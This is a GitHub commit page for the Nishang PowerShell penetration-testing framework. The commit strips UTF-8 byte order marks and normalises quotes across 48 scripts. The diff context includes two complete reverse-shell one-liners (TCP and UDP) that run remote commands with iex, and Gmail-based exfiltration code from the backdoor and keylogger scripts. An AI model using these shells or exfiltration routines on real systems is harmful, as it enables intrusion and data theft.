Skip to content

Commit

Permalink
remove UTF8 BOM
Browse files Browse the repository at this point in the history
  • Loading branch information
firefart committed Aug 22, 2016
1 parent 754d8ae commit f4d7fda
Show file tree
Hide file tree
Showing 48 changed files with 60 additions and 60 deletions.
2 changes: 1 addition & 1 deletion ActiveDirectory/Get-Unconstrained.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Get-Unconstrained {
function Get-Unconstrained {
<#
.SYNOPSIS
Nishang script which searches computers in current domain which have Unconstrained Delegation Enabled.
Expand Down
2 changes: 1 addition & 1 deletion Backdoors/Add-RegBackdoor.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Add-RegBackdoor
{
[CmdletBinding()] Param(
Expand Down
2 changes: 1 addition & 1 deletion Backdoors/Add-ScrnSaveBackdoor.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Add-ScrnSaveBackdoor
function Add-ScrnSaveBackdoor
{
<#
.SYNOPSIS
Expand Down
8 changes: 4 additions & 4 deletions Backdoors/DNS_TXT_Pwnage.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -335,13 +335,13 @@ function Do-Exfiltration-Dns($pastename,$pastevalue,$ExfilOption,$dev_key,$usern
elseif ($exfiloption -eq "gmail")
{
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = “smtp.gmail.com”
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“$username”, “$password”);
$msg.From = “[email protected]”
$msg.To.Add(”[email protected]”)
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "[email protected]"
$msg.To.Add("[email protected]")
$msg.Subject = $pastename
$msg.Body = $pastevalue
if ($filename)
Expand Down
8 changes: 4 additions & 4 deletions Backdoors/Execute-OnTime.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -222,13 +222,13 @@ function Do-Exfiltration-Time($pastename,$pastevalue,$ExfilOption,$dev_key,$user
elseif ($exfiloption -eq "gmail")
{
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = “smtp.gmail.com”
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“$username”, “$password”);
$msg.From = “[email protected]”
$msg.To.Add(”[email protected]”)
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "[email protected]"
$msg.To.Add("[email protected]")
$msg.Subject = $pastename
$msg.Body = $pastevalue
if ($filename)
Expand Down
2 changes: 1 addition & 1 deletion Backdoors/Gupt-Backdoor.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@



function Gupt-Backdoor
{
Expand Down
8 changes: 4 additions & 4 deletions Backdoors/HTTP-Backdoor.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -240,13 +240,13 @@ function Do-Exfiltration-HTTP($pastename,$pastevalue,$ExfilOption,$dev_key,$user
elseif ($exfiloption -eq "gmail")
{
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = “smtp.gmail.com”
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“$username”, “$password”);
$msg.From = “[email protected]”
$msg.To.Add(”[email protected]”)
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "[email protected]"
$msg.To.Add("[email protected]")
$msg.Subject = $pastename
$msg.Body = $pastevalue
if ($filename)
Expand Down
2 changes: 1 addition & 1 deletion Backdoors/Invoke-ADSBackdoor.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-ADSBackdoor{
function Invoke-ADSBackdoor{
<#
.SYNOPSIS
Nishang Script that will use Alternate Data Streams and Windows Registry to achieve persistence.
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-CHM.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Out-CHM
{

Expand Down
2 changes: 1 addition & 1 deletion Client/Out-Excel.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Out-Excel
{

Expand Down
2 changes: 1 addition & 1 deletion Client/Out-HTA.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Out-HTA
{
<#
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-JS.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-JS
function Out-JS
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-Java.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Out-Java
{

Expand Down
2 changes: 1 addition & 1 deletion Client/Out-SCF.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-SCF
function Out-SCF
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-SCT.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-SCT
function Out-SCT
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-Shortcut.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Out-Shortcut
{
<#
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-WebQuery.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-WebQuery
function Out-WebQuery
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Client/Out-Word.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-Word
function Out-Word
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Escalation/Invoke-PsUACme.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PsUACme
function Invoke-PsUACme
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Execution/Out-RundllCommand.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-RundllCommand
function Out-RundllCommand
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Gather/Get-PassHints.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Get-PassHints {
function Get-PassHints {
<#
.SYNOPSIS
Nishang script which extracts password hint for users in clear text.
Expand Down
2 changes: 1 addition & 1 deletion Gather/Get-WebCredentials.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#Requires -Version 3
#Requires -Version 3

function Get-WebCredentials
{
Expand Down
2 changes: 1 addition & 1 deletion Gather/Invoke-Mimikatz.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-Mimikatz
function Invoke-Mimikatz
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Gather/Invoke-MimikatzWDigestDowngrade.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-MimikatzWDigestDowngrade
function Invoke-MimikatzWDigestDowngrade
{
<#
.SYNOPSIS
Expand Down
8 changes: 4 additions & 4 deletions Gather/Keylogger.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -299,13 +299,13 @@ function script:Keylogger
elseif ($exfiloption -eq "gmail")
{
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = “smtp.gmail.com”
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential(“$username”, “$password”);
$msg.From = “$username@gmail.com”
$msg.To.Add(”$username@gmail.com”)
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "$username@gmail.com"
$msg.To.Add("$username@gmail.com")
$msg.Subject = $pastename
$msg.Body = $pastevalue
if ($filename)
Expand Down
2 changes: 1 addition & 1 deletion Gather/Show-TargetScreen.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Show-TargetScreen
{
<#
Expand Down
2 changes: 1 addition & 1 deletion MITM/Invoke-Interceptor.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-Interceptor
function Invoke-Interceptor
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Pivot/Invoke-NetworkRelay.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-NetworkRelay
function Invoke-NetworkRelay
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Scan/Invoke-BruteForce.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Invoke-BruteForce
{
<#
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-JSRatRegsvr.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-JSRatRegsvr
function Invoke-JSRatRegsvr
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-JSRatRundll.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-JSRatRundll
function Invoke-JSRatRundll
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PowerShellIcmp.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PowerShellIcmp
function Invoke-PowerShellIcmp
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PowerShellTcp.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PowerShellTcp
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PowerShellTcpOneLine.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
#Uncomment and change the hardcoded IP address and port number in the below line. Remove this help comment as well.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove this help comment as well.
#$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

#Even smaller reverse shell. Could fit in Two Tweets.
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PowerShellUdp.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PowerShellUdp
function Invoke-PowerShellUdp
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PowerShellUdpOneLine.ps1
Original file line number Diff line number Diff line change
@@ -1,2 +1,2 @@
#Uncomment and change the hardcoded IP address and port number in the below line. Remove this help comment as well.
#Uncomment and change the hardcoded IP address and port number in the below line. Remove this help comment as well.
#$endpoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("192.168.254.226"),53);$client = New-Object System.Net.Sockets.UDPClient(53);[byte[]]$bytes = 0..65535|%{0};$sendbytes = ([text.encoding]::ASCII).GetBytes('PS> ');$client.Send($sendbytes,$sendbytes.Length,$endpoint);while($true){;$receivebytes = $client.Receive([ref]$endpoint);$returndata = ([text.encoding]::ASCII).GetString($receivebytes);$sendback = (iex $returndata 2>&1 | Out-String );$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback);$client.Send($sendbytes,$sendbytes.Length,$endpoint)};$client.Close()
2 changes: 1 addition & 1 deletion Shells/Invoke-PowerShellWmi.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PowerShellWmi{
function Invoke-PowerShellWmi{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PsGcat.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PSGcat
function Invoke-PSGcat
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Invoke-PsGcatAgent.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-PsGcatAgent
function Invoke-PsGcatAgent
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Shells/Remove-PoshRat.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Remove-PoshRat
function Remove-PoshRat
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Utility/Add-Exfiltration.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@



function Add-Exfiltration
{
Expand Down
2 changes: 1 addition & 1 deletion Utility/Do-Exfiltration.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Do-Exfiltration
{
<#
Expand Down
2 changes: 1 addition & 1 deletion Utility/Invoke-Decode.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


function Invoke-Decode
{
<#
Expand Down
2 changes: 1 addition & 1 deletion Utility/Invoke-Encode.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Invoke-Encode
function Invoke-Encode
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Utility/Out-DnsTxt.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Out-DnsTxt
function Out-DnsTxt
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion Utility/Start-CaptureServer.ps1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
function Start-CaptureServer
function Start-CaptureServer
{
<#
.SYNOPSIS
Expand Down
2 changes: 1 addition & 1 deletion nishang.psm1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@


<#
Import this module to use all the scripts in Nishang, except Keylogger, in the current PowerShell session. The module must reside in the Nishang folder.
Expand Down
2 changes: 1 addition & 1 deletion powerpreter/Powerpreter.psm1
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
<#
<#
.SYNOPSIS
Powerpreter is a module written in powershell. Powerpreter makes available maximum possible functionality of nishang
in a single script. This is much helpful in scenarios like phishing attacks and webshells.
Expand Down

0 comments on commit f4d7fda

Please sign in to comment.